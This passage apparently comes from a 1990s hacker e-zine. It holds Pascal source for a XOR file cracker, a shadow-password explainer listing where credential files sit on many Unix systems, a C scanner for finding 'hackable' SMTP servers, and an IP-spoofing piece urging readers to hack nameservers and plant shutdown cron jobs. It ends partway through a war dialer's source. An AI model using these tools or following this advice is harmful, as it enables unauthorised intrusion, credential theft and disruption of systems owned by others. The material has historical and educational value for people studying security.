  1640.     |--------------------|------Plaintext-----|--------------------|--------------------|
  1641.                               equals
  1642.        |--------------------|-----Ciphertext-----|
  1643.  
  1644. And so on, until the plaintext is completely XOR'd with the key block. The 
  1645. problem with this is that is you have a file of all 'A's (Ordinal value=65), 
  1646. there will be visible repeating patterns in the ciphertext- A PROBLEM! Why is 
  1647. that a problem, you ask? Someone would have to find that huge 512-byte key to 
  1648. decrypt it, right? Errnt.
  1649.  
  1650. METHODS OF ATTACK:
  1651.     WinCrypt's weakness is that it uses the same key byte at known points 
  1652. in the file. The 1st, 513th, 1025th, 1537th, etc byte is always XOR'd with 
  1653. the same byte of the key. The other bytes in the key have no role in the 
  1654. encryption of the 1st byte. If the 1st byte of the file is an 'A', and they 
  1655. 1st byte in the key is a 'B', then the result will be a byte value of 3, 
  1656. regardless of what the other entries in the key are. So instead of a 512-byte 
  1657. key, it's actually 512 1-byte keys. The keyspace for a 512-byte key would be 
  1658. 2^4096 possibilities, but 512 1-byte keys is just 512*256 (number of entries)
  1659. (number of values per entry). 131072 possible keys is quite a bit less to 
  1660. search. But we don't have to stop there. If we know some common byte values 
  1661. in the plaintext, we can search for those, like this:
  1662.  
  1663.     for i = 1 to 512 do
  1664.     begin
  1665.         for j = 0 to 255 do
  1666.             if (InBlock[i] xor j) is in CommonValues then Increment(Count[j]);
  1667.     end
  1668.  
  1669. The highest count will be the byte that has the most hits inside the target 
  1670. byte range. Text files are made up of mostly spaces (ordinal value 32), CR/LF 
  1671. pairs (13/10), and lower case letters (well, some l33t0 ph|l3z might have 
  1672. different values, but hey...).
  1673.  
  1674. BADYCRYPT v1.0:
  1675.  
  1676. (*
  1677.     BadCrypt v1.0 by The Messiah
  1678.     This program takes a 256-byte array, fills it with the output of a 
  1679.        PRNG seeded with the passphrase, then uses the aforementioned 
  1680.        encryption method.
  1681. *)
  1682.  
  1683. program BadCrypt;
  1684.  
  1685. uses Crt;
  1686.  
  1687. type
  1688.     TKey = array[1..256] of byte;
  1689.  
  1690. var
  1691.    key : TKey;
  1692.    passphrase, inpath, outpath : String;
  1693.  
  1694.  
  1695.    procedure Crypt(infile, outfile : String);
  1696.    var
  1697.      FromF, ToF: file;
  1698.      NumRead, NumWritten, I: Integer;
  1699.      Buf: array[1..256] of byte;
  1700.    begin
  1701.        Write('Crypting');
  1702.        Assign(FromF, infile);
  1703.        Reset(FromF, 1);
  1704.        Assign(ToF, outfile);
  1705.        Rewrite(ToF, 1);
  1706.        repeat
  1707.             BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
  1708.              for i := 1 to NumRead do
  1709.                 Buf[i] := Buf[i] xor Key[i];
  1710.             BlockWrite(ToF, Buf, NumRead, NumWritten);
  1711.             Write('.');
  1712.        until (NumRead = 0) or (NumWritten <> NumRead);
  1713.        Close(FromF);
  1714.        Close(ToF);
  1715.        WriteLn('Done!');
  1716.    end;
  1717.  
  1718.    procedure Expand(seed : String; var aKey : TKey);
  1719.    var
  1720.      I, J : Integer;
  1721.    begin
  1722.        Write('Expanding key');
  1723.        for i := 1 to Length(seed) do
  1724.        begin
  1725.           RandSeed := Ord(seed[i]);
  1726.           for j := 1 to 256 do
  1727.              aKey[j] := aKey[j] xor Random(256);
  1728.           Write('.');
  1729.        end;
  1730.        WriteLn('Done!');
  1731.    end;
  1732.  
  1733. begin
  1734.     WriteLn('BadCrypt v1.0: The Worst Encryption Utility!');
  1735.     Write('Enter the password: ');
  1736.     ReadLn(passphrase);
  1737.     Write('Enter the filepath for the input file: ');
  1738.     ReadLn(inpath);
  1739.     Write('Enter the filepath for the output file: ');
  1740.     ReadLn(outpath);
  1741.     Expand(passphrase, Key);
  1742.     Crypt(inpath, outpath);
  1743.     WriteLn('Hit enter to quit...');
  1744.     ReadLn;
  1745. end.
  1746. { ------------------------------------------------------ }
  1747.  
  1748.  
  1749. GENERICRACK V1.0:
  1750.  
  1751. (*
  1752.     GeneriCrack v1.0 for DOS by The Messiah
  1753.     This cracks files, if you know the key size it was encrypted with. 
  1754.        A 32-bit version will be out soon, so stick around...
  1755. *)
  1756. program GeneriCrack;
  1757.  
  1758. const
  1759.     MAXKEY = 1024;
  1760.  
  1761. var
  1762.    key, buffer : array[1..MAXKEY] of Byte;
  1763.    count, maxcount : array[1..MAXKEY] of Integer;
  1764.    inpath, outpath : String;
  1765.    kSize : Integer;
  1766.  
  1767.    procedure Crack(Filename : String; keysize : Integer);
  1768.    var
  1769.      file1: file;
  1770.      i,j, result: integer;
  1771.      b : byte;
  1772.    begin
  1773.        Write('Cracking');
  1774.        Assign(file1,Filename);
  1775.        Reset(file1,1);
  1776.  
  1777.        for i := 1 to KeySize do
  1778.        begin
  1779.            key[i] := 0;
  1780.            maxcount[i] := 0;
  1781.        end;
  1782.  
  1783.        for i:=0 to 255 do
  1784.        begin
  1785.            seek(file1,0);
  1786.            for j := 1 to KeySize do
  1787.               count[j] := 0;
  1788.            while not eof(file1) do
  1789.            begin
  1790.                blockread(file1,buffer,keysize,result);
  1791.                for j:=1 to result do
  1792.                begin
  1793.                    b:= i xor buffer[j];
  1794.                    if b in [10,13,32,97..122] then count[j] := count[j] + 1;
  1795.                end;
  1796.            end;
  1797.            for j:=1 to keysize do if count[j]>maxcount[j] then
  1798.            begin
  1799.                key[j]:=i;
  1800.                maxcount[j]:=count[j];
  1801.            end;
  1802.            Write('.');
  1803.        end;
  1804.        WriteLn('Done!');
  1805.        close(file1);
  1806.    end;
  1807.  
  1808.    procedure Decrypt(infile, outfile : String; keysize : Integer);
  1809.    var
  1810.      file1,file2: file;
  1811.      i,j, result: integer;
  1812.    begin
  1813.        Write('Decrypting');
  1814.        assign(file1,infile);
  1815.        reset(file1,1);
  1816.        assign(file2,outfile);
  1817.        rewrite(file2,1);
  1818.        while not eof(file1) do
  1819.        begin
  1820.            blockread(file1,buffer,keysize,result);
  1821.            for j:=1 to result do buffer[j]:= buffer[j] xor key[j];
  1822.            blockwrite(file2,buffer,result,i);
  1823.            Write('.');
  1824.        end;
  1825.        close(file1);
  1826.        close(file2);
  1827.        WriteLn('Done!');
  1828.    end;
  1829.  
  1830. begin
  1831.     WriteLn('GeneriCrack for DOS v1.0 by The Messiah');
  1832.     Write('Enter the keysize in bytes: ');
  1833.     ReadLn(kSize);
  1834.     Write('Enter the filepath of the input file: ');
  1835.     ReadLn(inpath);
  1836.     Write('Enter the filepath of the output file: ');
  1837.     ReadLn(outpath);
  1838.     Crack(inpath, kSize);
  1839.     WriteLn;
  1840.     Decrypt(inpath, outpath, kSize);
  1841.     WriteLn;
  1842.     WriteLn('Hit enter to quit...');
  1843.     ReadLn;
  1844. end.
  1845. { ------------------------------------------------------ }
  1846.  
  1847. PREVENTION:
  1848.     One way to make sure an algorithm you're designing (or using) isn't 
  1849. fallible to this particular attack is to make the encryption data-sensitive. 
  1850. Have the key change with each block. This will not, of course, make a bad 
  1851. algorithm good, but it will make it resistant to this particular attack. 
  1852. Also, if you're running a block cipher in ECB mode, it could be broken with 
  1853. this attack, AFAIK. I haven't tested it yet, but ECB does the same method for 
  1854. each block.
  1855.  
  1856. ═────────────────────────────────────────────────────────────────────────────═
  1857. Shadow files explained
  1858. by Shypht
  1859.  
  1860. Ok, a few people I knew / know were a bit confused on the purpose on having
  1861. a shadowed password file so I decided to write a simple text explaining
  1862. them.
  1863.  
  1864. -[ ---------------------------------------------------------------------- ]-
  1865.                 █▓▒░ Introduction : the basic's ░▒▓█
  1866. -[ ---------------------------------------------------------------------- ]-
  1867.  
  1868. A shadow file is a way of adding extra security to a unix machine. Before
  1869. password shadowing, a passwd file would look like this : 
  1870.  
  1871. ( this is in /etc/passwd )
  1872.  
  1873. esmith:s920Vk02sl24:6151:100:Edmond Smith:/home/esmith:/bin/bash
  1874.  |      |            |    |   |           |            |
  1875.  |      |            |    |   |           |            \- which shell they
  1876.  |      |            |    |   |           \- home dir     use7
  1877.  |      |            |    |   \- real name/comments/bussiness etc
  1878.  |      |            |    \- group id (gid)
  1879.  |      |            \- user id(uid)
  1880.  |      \- encrypted password
  1881.  \--- login name
  1882.  
  1883. but now with computer security becoming more and more of an issue, and more
  1884. and more people were grabing the /etc/passwd file and crack the encrypted
  1885. password w/ a word list and a cracker like brute force or cracker jack,
  1886. john the ripper,crack, etc. The reason why a wordlist/dictionary file
  1887. is used is because the encrypted password uses a one-way hash. To crack
  1888. the password, the cracker compares the one-way hash from each word in the
  1889. word list to the encrypted password until a match is found.
  1890.  
  1891. So they decided they needed more security, so they started to shadow
  1892. their password files, they still look pretty much the same, but instead
  1893. of having the encrypted password, there is a * in place, so if you were
  1894. to cat /etc/passwd you'd get :
  1895.  
  1896. ( location varies on systems see further down for more info )
  1897.  
  1898. esmith:*:6151:100:Edmond Smith:/home/esmith:/bin/bash
  1899.       ^- shadowed password file, not much use eh?
  1900.  
  1901. people may wonder why wouldn't the system admins make the /etc/passwd
  1902. read-only by root and it'd save them alot of hassle, but programs need to
  1903. read certain info from that file to get user name / uid / gid etc, and
  1904. since not all programs are run as root, if the /etc/passwd was read by root
  1905. only, it would cause conflicts, and alot of programs would have to be run
  1906. as root and create alot of security problems. So the actual encrypted
  1907. password is held in the shadow file, for a list of locations see below,
  1908. this file is / should only be read/write only by the root admins, this
  1909. gives an extra ammount of security, and since only root can read it, normal
  1910. users can't grab a copy and crack the password's in it. The format of the
  1911. shadow file goes as :
  1912.  
  1913. username:password:change_date:min_change:max_change:warn:inactive:expire:
  1914.  
  1915. the format will go into more detail in the next section.
  1916.  
  1917. -[ ---------------------------------------------------------------------- ]-
  1918.                █▓▒░ The Shadow File : The Format ░▒▓█
  1919. -[ ---------------------------------------------------------------------- ]-
  1920.  
  1921.  As stated above the format of the shadow file goes as :
  1922.  
  1923. username:password:change_date:min_change:max_change:warn:inactive:expire:
  1924.  
  1925. User Name   : the name of the user
  1926. Password    : the encrypted password. And/or alternate authontication
  1927.             methods wich will be explained in the next section.
  1928.  
  1929. [ - the following fields relate to passwd change / expiration - ]
  1930.  
  1931. Change Date    : encodes the date of the most rescent passowrd chage
  1932. Min/Max Change : tells the min and max days between password changes
  1933. Warn           : when the password is about to expire, warn that many
  1934.               days ahead of time
  1935. Inactive       : specifies how many days the user has to change thier pass
  1936.               after the expiration date before that account is cancled
  1937. Expire         : encodes the date that the password will expire
  1938.  
  1939.  
  1940. -[ ---------------------------------------------------------------------- ]-
  1941.              █▓▒░ The Shadow File : Extra Features ░▒▓█
  1942. -[ ---------------------------------------------------------------------- ]-
  1943.  
  1944. ( I read some of this stuff in a document relating to linux security so I am
  1945.   not sure if it applys to all shadowing systems but I am pretty sure that
  1946.   it does / or at least should. If not it is still something that is
  1947.   interesting to know. )
  1948.  
  1949. In the password field of the shadow file you can also specify additional
  1950. authentication programs to be run after the password has been entered. An
  1951. example of one is :
  1952.  
  1953. shypht:4j3jx70735;@/sbin/agetest::::::
  1954.  
  1955. the ;@/sbin/agetest would tell the system that after the password has been
  1956. enter'd in correctly to run the /sbin/agetest program, which I just made up
  1957. for an example, and it would return a 0 or 1 showing if the user passed
  1958. shypht:<\@>/sbin/securelogin::::::
  1959.  
  1960. which the user would have to pass to gain entry to the system,
  1961. and he/she would not be prompted for a password. This can be used for lower
  1962. or higher security on a system, but I would imagine that it would only be
  1963. used to secure the system even more, you could have them prompted for
  1964. personal questions which only they would know etc.
  1965.  
  1966. -[ ---------------------------------------------------------------------- ]-
  1967.              █▓▒░ The Shadow File : Locations ░▒▓█
  1968. -[ ---------------------------------------------------------------------- ]-
  1969.  
  1970. The location of the shadow file varies from system to system, I have taken
  1971. this list from the ultimate beginers guide to hacking 97 revision. And is
  1972. modified for this document.
  1973.  
  1974. UNIX                    Path
  1975. -------------------------------------------------
  1976. AIX 3                 /etc/security/passwd or /tcb/auth/files//
  1977. A/UX 3.0s             /tcb/files/auth/?/*
  1978. BSD4.3-Reno           /etc/master.passwd             
  1979. ConvexOS 10           /etc/shadpw                             
  1980. ConvexOS 11           /etc/shadow                             
  1981. DG/UX                 /etc/tcb/aa/user/                       
  1982. EP/IX                 /etc/shadow                             
  1983. HP-UX                 /.secure/etc/passwd                     
  1984. IRIX 5                /etc/shadow                             
  1985. Linux1.1              /etc/shadow
  1986. OSF/1                 /etc/passwd[.dir|.pag]          
  1987. SCO Unix #.2.x        /tcb/auth/files//                
  1988. SunOS4.1+c2           /etc/security/passwd.adjunct    
  1989. SunOS 5.0             /etc/shadow
  1990. System V Release 4.0  /etc/shadow                        
  1991. System V Release 4.2  /etc/security/* database   
  1992. Ultrix 4              /etc/auth[.dir|.pag]            
  1993. UNICOS                /etc/udb                                        
  1994. Unix System V         /etc/master.passwd
  1995.  
  1996. -[ ---------------------------------------------------------------------- ]-
  1997.                     █▓▒░ Closing Comments ░▒▓█
  1998. -[ ---------------------------------------------------------------------- ]-
  1999.  
  2000. I hope that this document helpfull to anyone out there. I wrote this to
  2001. help people understand, and maybe learn abit more about the shadow file.
  2002. Thanks for reading this far                     - shypht
  2003.  
  2004. -[ ---------------------------------------------------------------------- ]-
  2005.                          █▓▒░ The End ░▒▓█
  2006. -[ ---------------------------------------------------------------------- ]-
  2007. greetz out to : vacuum, cellular fear, philisopher, exorcist, atom, RM,
  2008.              severed, all my friends in #hackphreak, PentiumRU, Nyangel,
  2009.              Rloxley, X-Bish and all the other ops, and #carparts and
  2010.              anyone else I forgot
  2011.  
  2012. thanx to vacuum for fixin some spelling and adding the 1way hash info.
  2013.  
  2014. ═────────────────────────────────────────────────────────────────────────────═
  2015. SMTP server scanner
  2016. by memor
  2017.  
  2018. /*
  2019.  
  2020. Here is a SMTP server scanner (thoses ones on port25)
  2021. to scan i guess for old mailserver, for easy sendmail bugs uses.
  2022.  
  2023. well.. this is not really an hacking tool.. only a scanning one.
  2024. it can be used in 2 ways.. 
  2025.  
  2026. USAGE:
  2027. smtpscan -dh xxx.xxx[.xxx](if option -h) [port](optional)
  2028.  
  2029. first.. to find "possible" hackable domains like that :
  2030. smtpscan -d xxx.xxx or smtpscan -d xxx.xxx 25
  2031. will scan for smtp from xxx.xxx.1.1 to xxx.xxx.255.1
  2032.  
  2033. and 2ndly, it can be used to find "possible" hackable servers on
  2034. a domain with :
  2035. smtpscan -h xxx.xxx.xxx or smtpscan -h xxx.xxx.xxx 25
  2036. will scan for smtp from xxx.xxx.xxx.1 to xxx.xxx.xxx.255
  2037.  
  2038. *note*
  2039. you can scan for any domains or servers with another port (like for pop3 or 
  2040. other) with smtpscan -dh xxx.xxx.xxx[.xxx] port
  2041. thanx to Wintifax for his advices ;)
  2042.  
  2043. memor@mygale.org 
  2044.  
  2045. memor(hbs) Aug 29, 1997
  2046. */
  2047.  
  2048. /* habitual includes for managing functions in the programm */
  2049.  
  2050. #include <stdio.h>
  2051. #include <stdlib.h>
  2052. #include <unistd.h>
  2053. #include <string.h>
  2054. #include <netdb.h>
  2055. #include <sys/socket.h>
  2056. #include <arpa/inet.h>
  2057. #include <sys/types.h>
  2058. #include <netinet/in.h>
  2059.  
  2060. /* defining global variables for reading writing creating the socket */
  2061.  
  2062. FILE *soc;
  2063. int sock;
  2064.  
  2065. /* defining void answer(void) function */
  2066.  
  2067. void answer();
  2068.  
  2069. /* main routing */
  2070.  
  2071. int main(argc,argv)
  2072. int argc;
  2073. char **argv;
  2074. {
  2075.  
  2076. /* create variables for counting ,  ip adress string */
  2077.  
  2078. int count, port = 25;
  2079. char *ips;
  2080. struct sockaddr_in ip;
  2081. ips = (char *)malloc(100);
  2082.  
  2083. /* checking if enough arguments to make the programm working correctly */
  2084.  
  2085. if(argc<2) 
  2086. {
  2087. /* if not, tells the usage and quit */
  2088.  
  2089. printf("%s - memor/hbs\n",argv[0]);
  2090. printf("usage:\n");
  2091. printf("%s -dh xxx.xxx[.xxx] [port]\n",argv[0]);
  2092. exit(1);
  2093. }
  2094. else if(argc>3) port = atoi(argv[3]);
  2095.  
  2096. /* begining -d or -h scan */
  2097.  
  2098. for(count=1;count<256;count++)
  2099. {
  2100. if(strcmp(argv[1],"-d")==0) sprintf(ips,"%s.%i.1",argv[2],count);
  2101. else sprintf(ips,"%s.%i",argv[2],count);
  2102. printf("Looking at %s Port %i\n",ips,port);
  2103.  
  2104. /* creating socket */
  2105.  
  2106. if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) /* i cant open it */
  2107. {
  2108. /* i cant, i write what error it gives me  */             
  2109. perror("socket");
  2110.  } else {
  2111.  soc=fdopen(sock, "r");
  2112.  ip.sin_family = AF_INET;
  2113.  ip.sin_port = htons(port);
  2114.  ip.sin_addr.s_addr = inet_addr(ips);
  2115.  bzero(&(ip.sin_zero),8);
  2116.  
  2117. /* trying to connect..reach the host */
  2118.  
  2119. if ( connect(sock, (struct sockaddr *)&ip, sizeof(struct sockaddr)) < 0 )
  2120. {
  2121. /* i cant, i write what error it gives me */
  2122. perror("connect");
  2123. } else {
  2124.  
  2125. /* getting what the smtp tells me */
  2126.  
  2127. answer();
  2128.  
  2129. }
  2130.  
  2131. /* closing that socket */
  2132. close(sock);
  2133. }
  2134. }
  2135. }
  2136.  
  2137. /* answering function */
  2138.  
  2139. void answer()
  2140. {
  2141. /*creating a as char type.. */
  2142. char ch;
  2143. do
  2144. { 
  2145. ch=getc(soc);
  2146. printf("%c",ch); 
  2147. /* i write the cararcter i received */
  2148. }
  2149. while(ch!='\r');
  2150. /* received a 13 .. go back to main() */
  2151. printf("\n");
  2152. }
  2153.  
  2154. ═────────────────────────────────────────────────────────────────────────────═
  2155. All About The Internet Protocol
  2156. by Malhavoc
  2157.  
  2158. Lets start off with the basics of ip's then we will start on some of the
  2159. advanced stuff like ip spoofing and masquerading.
  2160.  
  2161. First off Ip is short for Internet Protocol.  The Internet Protocol defines
  2162. how data should be broken down to be transmitted over the internet.  Another
  2163. part of the Internet Protocol is the Internet Protocol address or IP Address.
  2164. The Ip address is a 32-bit number with 4 digits ranging from 0 to 255.  The
  2165. IP address is similar to your home address in that it is an identifier much
  2166. like your home address, except that the ip address identifies each computer
  2167. connected or linked to the internet.
  2168.  
  2169. Ip addresses can be resolved to domain names and visa versa through DNS which
  2170. stands for Domain Name Server or name server for short.  Each domain has a
  2171. unique IP address assigned to it.  Ip can have multiple domain names assigned
  2172. to it.
  2173.  
  2174. The Ip address also has 4 layers associated with it.  They are:
  2175.  
  2176. The Application Layer - This deals with the functions of server
  2177.                     applications like FTP and HTTP. 
  2178.  
  2179. The Transmission Control Protocol Layer - This controls the moving of data
  2180.                                   from the source to the
  2181.                                   destination ignoring everything 
  2182.                                                         else.
  2183.  
  2184. The Internet Protocol Layer - This handles all of the moving data from one
  2185.                         network node to the next. 
  2186. The Physical Layer - This controls all of the actual communications
  2187.                  hardware such as ethernet cards and modems.
  2188.  
  2189.  
  2190. These layers are known as the protocol stack.
  2191. Without IPs you can't find any computer on the internet.  Something else
  2192. associated with the Ip is something called TCP or Transmission Control
  2193. Protocol.  This basically controls what the ip transmits and recieves to
  2194. and from other computers.  
  2195.  
  2196. There are also 2 types of IPs.  They are the Dynamic and the Static ip.
  2197. The dynamic ip is an ip that always changes.  Sometimes the last 2 digits
  2198. are the same, but most of the time the last digit stays the same.  The
  2199. static ip on the otherhand is the same all of the time, hence the word
  2200. static.
  2201.  
  2202. As you can see the IP has many functions throughout the internet and if
  2203. you mess around with them in the wrong way, you could certainly screw up many 
  2204. computers, even a whole network up.  
  2205. How do you do this you ask?  READ ON!
  2206.  
  2207. In the previous paragraph I said that if you fuck around with an IP or a
  2208. computer that is connected to a very large LAN, Network, or Intranet you
  2209. could really screw things up quite a bit.  There are many ways of doing
  2210. this.  Some more fun than others.  You could hack a system and crontab
  2211. shutdown -h now to run every 15 minutes or nuke a server and lag it to
  2212. hell, but that could totally cripple a system, and that is not what I like
  2213. to condone. What I really like is spoofing. Although it does not screw up
  2214. anything it can give you unauthorized access to things or you could just
  2215. make your ip and/or domain to whatever you want.  Spoofing is not very
  2216. hard if you know what you are doing.  If you read my explanation of the IP
  2217. it explained all about IPs.  If you remember everything that I explained
  2218. it can help you in your quest to spoof, or you could continue to read this
  2219. and learn how to spoof by my teachings.  
  2220.  
  2221. To do a basic spoof on IRC or something you just need root on a
  2222. nameserver and jizz.  In case you are saying, "What the hell is a
  2223. nameserver?", I have included a quick little definition, if you will of a
  2224. nameserver.  
  2225.     
  2226. A nameserver is pretty much a computer that translates the
  2227. alphabetic domain name to a numerical IP address.
  2228.  
  2229. To get root on a nameserver you either have to:
  2230. a) Get unauthorized access to the system, anotherwards hack the system
  2231. b) You already own a nameserver connected to the internet
  2232.  
  2233. If you would like to use option "a" to get access, you need to find
  2234. another file specifically written about hacking(which I am positive I will
  2235. write at some point).  
  2236.  
  2237. or if you chose "b", can I get access?(it was a joke but if i can, e-mail
  2238. me at malhavoc@xxedgexx.com) but seriously if you do have one, perfect.
  2239. All you need to do now is download jizz.  You could download it at my
  2240. website at Http://Kaos.xxedgexx.com or go to Http://www.rootshell.com.
  2241. Once you download it type gcc -o jizz jizz.c, after that, jizz should
  2242. compile in the directory you download to.  After the compilation is
  2243. complete type ./jizz 
  2244.  
  2245. Manually Spoofing - The more advanced way to spoof
  2246. and for use with people that actually know something. 
  2247.  
  2248.  
  2249.  
  2250. ═────────────────────────────────────────────────────────────────────────────═
  2251. ShokDial - a linux war dialer
  2252. by Shok        
  2253.     
  2254.     I wrote this because someone asked me to, and it's the only war
  2255. dialer I've seen for linux. I don't like or use war dialers but I decided
  2256. to write it anyway....oh well.
  2257.       
  2258. This is new, so it may have a few bugs but it shouldn't have any. If you
  2259. see a bug or anything, please let me know (mail me at shok@sekurity.org). 
  2260.  
  2261. WHAT YOU NEED TO DO:
  2262. --------------------
  2263.  
  2264. ***YOU NEED TO DO THIS***.........
  2265.  
  2266. In wardialer.c, at the very top..you will have three #define's you need to 
  2267. change to your modem, etc.
  2268.  
  2269. #define MODEMPORT "/dev/cua1" 
  2270.  
  2271. This is the COM my modem is on. You NEED to set this to yours.
  2272. If your modem is on COM1 (assuming you're using linux), then put /dev/cua0
  2273. instead of /dev/cua1. 
  2274.  
  2275.     However if you are using something like IRIX for example it is not
  2276. /dev/cua1 (if I recall)...and you'll need to set this to
  2277. your modem port.
  2278.  
  2279. --------------------
  2280.  
  2281. There is also:
  2282. #define HANGUPPORT "/dev/ttyS1" 
  2283.  
  2284. You NEED to change this as well, if you put cua0 earlier, put ttyS0
  2285. here...if you put cua1 put ttyS1 here.....etc
  2286.  
  2287.     However if you have IRIX or soemthing like that it will be
  2288. different.....
  2289.  
  2290. ---------------------
  2291.  
  2292. Now all you have to do (and this is optional), there is:
  2293. #define TIMEOUT 30
  2294.  
  2295. You just set this to how long you will wait for it to try to dial a number
  2296. and this will disconnect after so long.
  2297.  
  2298. Type shokdial -h for help/options...
  2299.  
  2300. Enjoy!
  2301.  
  2302.  
  2303.     Serial programming for unix.....boy this stuff is fun. Well unix
  2304. is famous for it's special files. The modem is just a file you can open(),
  2305. read(), and write() to...for that reason this program can be used on all
  2306. unixs'. The only thing different that needs to be changed, is the 
  2307. #define MODEMPORT "/dev/cua1", because most unix/unix clones have their
  2308. own modem port. For example /dev/ttyS? which is COM1 (to the DOS users),
  2309. would be /dev/ttym? in IRIX. Now once this program opens the modem (via 
  2310. device/special file) for reading/writing, it will write() to it, and send
  2311. it standard modem instructions like +++ATH, ATZ etc....this comes before
  2312. any dialing to get the modem ready....we also use a function to check for
  2313. "OK" so we know that all is well. On receiving this, then enter the number
  2314. we want to dial into a character buffer, append a "\r" to it (to it
  2315. actually sends the command), we then write(fd (the file desc. for
  2316. /dev/cua1), thebufwiththenum, strlen(thebufwiththenum)); Now once you do
  2317. this..you can't write "+++ATH" to it, because it will send that as the
  2318. login name (assuming you've connected to a host), so what I did, was I
  2319. opened the other modem port (there are two, /dev/cua0 and /dev/ttyS0 are
  2320. essentially the same thing (both COM1 to explain it easier), one is used
  2321. for dialing out (cua?) and one is used for dialling in and out (ttyS?). So
  2322. I opened up the other port and used that to send the command to hang up.
  2323. But all the other stuff isn't complex, they are all C primitive
  2324. instructions like ScanMin++; which would increse ScanMin by 1, repeat a
  2325. while loop, and then the next strcat(phonenum, ScanMin); ... would dial
  2326. the next number......you get the idea. That's about all there really is to
  2327. say about the technical stuff about it.
  2328.  
  2329.     Oh yeah one thing.....when it connects, it looks for the string
  2330. "CONNECT" returned from the modem serial file. You won't get this message
  2331. from faxes as you will only get this message when the connection is
  2332. complete, so this will only return *** CONNECT *** if it was a modem. It
  2333. will both output to the screen and logfile *** CONNECT *** to
  2334. 1-xxx-xxx-xxxx. You can use local or long distance, although international
  2335. numbers haven't been added at this time (not hard to do just didn't care
  2336. to add an extra scanf and an extra CountryCode variable ;) 
  2337.  
  2338. About ShokDial (it's temp name for now)
  2339. ---------------------------------------
  2340.  
  2341.     This supports random scanning (pseudorandom to be honest, heh) and
  2342. sequential (the range you specified and up) scanning. You can give it a
  2343. range too but that still does under sequential scanning. To use random
  2344. scanning use 'shokdial -r', otherwise it will by default use sequential
  2345. scanning. For the other options type 'shokdial -h'. You want to keep track
  2346. of the version because I'd almsot guarntee this program is going to
  2347. continue changing. I need to add some ncurses GUI effects (heh) and a
  2348. function to resume scanning for those of you who are too lazy to even look
  2349. at the (by default) wardialer.log and get the last number it dialed
  2350. (assuming you used sequential scanning) and entering that as the Scan
  2351. number to begin on! 
  2352.  
  2353.     It will output to wardialer.log and on to the screen. If you have
  2354. BEEP = WANTBEEP in the Makefile, it will beep when it connects to a host.
  2355. That's about all I really have to say about it. I don't actually use war
  2356. dialers (really), so I haven't actually tested this (sorry if there are
  2357. any problems but there shouldn't be)....if you do however find a problem,
  2358. please let me know! I will fix it and send out a patched version.....you
  2359. can get all of them from ftp.janova.org or www.janova.org. Enjoy ;)
  2360.  
  2361.             Shok
  2362.  
  2363.  
  2364. To Do:
  2365.  
  2366.     - Add a resume function
  2367.  
  2368.     - Any good ideas/features that should me added? Mail me at
  2369.       shok@sekurity.org if you think of something useful 
  2370.       (don't mention a GUI or anything though anyway).
  2371.  
  2372. -------------
  2373. Makefile:
  2374. ------------
  2375.  
  2376. CC = gcc
  2377. #CC = cc
  2378.  
  2379. CFLAGS =
  2380. #CFLAGS = -g
  2381.  
  2382. BEEP = WANTBEEP
  2383. #BEEP = NOWANTBEEP
  2384.  
  2385. #---------------------------------
  2386.  
  2387. all: shokdial
  2388.  
  2389. shokdial: shokdial.c errors.c validate.c 
  2390.     $(CC) $(CFLAGS) -D$(BEEP) -o shokdial shokdial.c errors.c validate.c
  2391.  
  2392.  
  2393. ----------
  2394. shokdial.c
  2395. ----------
  2396.  
  2397. /*                ShokDial                           */
  2398. /* This is (I have never seen one anyway, I apologize if I'm wrong)      */
  2399. /* the first war dialer that I've ever seen for unix. This will            */
  2400. /* compile on most/all unixs' (I didn't use any spiffy or complex        */
  2401. /* functions).                                       */
  2402. /*                 Enjoy,                                         */
  2403. /*             --==+*~(Shok)~*+==--                          */
  2404.  
  2405. #include <termios.h>
  2406. #include <stdio.h>
  2407. #include <unistd.h>
  2408. #include <string.h>
  2409. #include <sys/types.h>
  2410. #include <errno.h>
  2411. #include <fcntl.h>
  2412. #include <ctype.h>
  2413. #include <signal.h>
  2414.  
  2415. #define ERROR -1
  2416. #define LOGFILE "wardial.log" /* Used as default for logging    */
  2417.                         /* unless you change this define  */
  2418.                         /* or specify it as an option     */
  2419.  
  2420. #define TIMEOUT 25 /* YOU WANT TO CONFIGURE THIS!!!         */
  2421.                 /* This is how long it will wait until it    */
  2422.                 /* gives up.                   */
  2423.  
  2424. /* You can do:                                                  */
  2425. /* ln -s /dev/cua1 /dev/modem                          */
  2426. /* or change this  to /dev/cua1 (or whatever your COM is)   */
  2427. /* cua0 = COM1 cua1 = COM2                        */
  2428.  
  2429. #define MODEMPORT "/dev/cua1"
  2430.  
  2431. /* Same as above.....                             */
  2432. /* ttyS0 = COM1 ttyS1 = COM2 */
  2433.  
  2434. #define HANGUPPORT "/dev/ttyS1"
  2435.  
  2436.  
  2437. /*             Global variables                 */
  2438. /*             ----------------                 */
  2439. int fd;        /* fd for modem                       */
  2440. int numbytes;        /* To verify that all the bytes were written  */
  2441. int random;         /* Use random scanning if this is set         */
  2442. char *ProgName;          /* Um duh.                            */
  2443. char LocalOrLong[2]; /* Dialing long distance of local              */
  2444. int First3Digits;    /* Such as "555" of 555-XXXX                 */
  2445.                  /* However this also serves as the area code  */
  2446.                  /* for a long distance number                 */
  2447. int Last3Digits;     /* Used as XXX-555-XXXX                       */
  2448. int ScanMin;         /* Number to scan from....like 0000 and up    */
  2449. int ScanMax;         /* Stop scanning when this number is reached  */
  2450. char *LogFile;       /* Where to log connections          */
  2451. char buf[512];           /* Buffer for strings returned by modem       */
  2452. FILE *logfile;       /* for the log file                  */
  2453. /* FILE *resume; */  /* To resume scanning where left off          */
  2454.  
  2455. struct termios options; /* Baud rate, modes, etc.                  */
  2456.  
  2457.  
  2458. /*             Function prototypes                   */ 
  2459. /*             -------------------                        */
  2460. void usage(void);         /*  Help/usage                       */
  2461. void version(void);           /*  Display version                       */
  2462. void intro(void);             /*  An introduction           */
  2463. void get_num(void);       /*  Get phone number and scan prefix      */
  2464. void get_scannum(void);       /*  Get range to scan                     */
  2465. void open_port(void);         /*  Open modem port for dialing            */
  2466. void set_options(void);       /*  Set baud rate, termios, etc.          */
  2467. void init_modem(void);        /*  Initialize the modem           */
  2468. void dial_number(void);        /*  Dial the number               */
  2469. void hangup(void);            /*  Hang up modem.                           */
  2470. void sighandler(int signum);  /*  Used when signals are received */
  2471.  
  2472. /* Check read/write/opens for errors */
  2473. void check_for_error(int fd, int num, char *s);
  2474.  
  2475. /* Check if the phone num was valid */ 
  2476. void local_validnum(int digits);
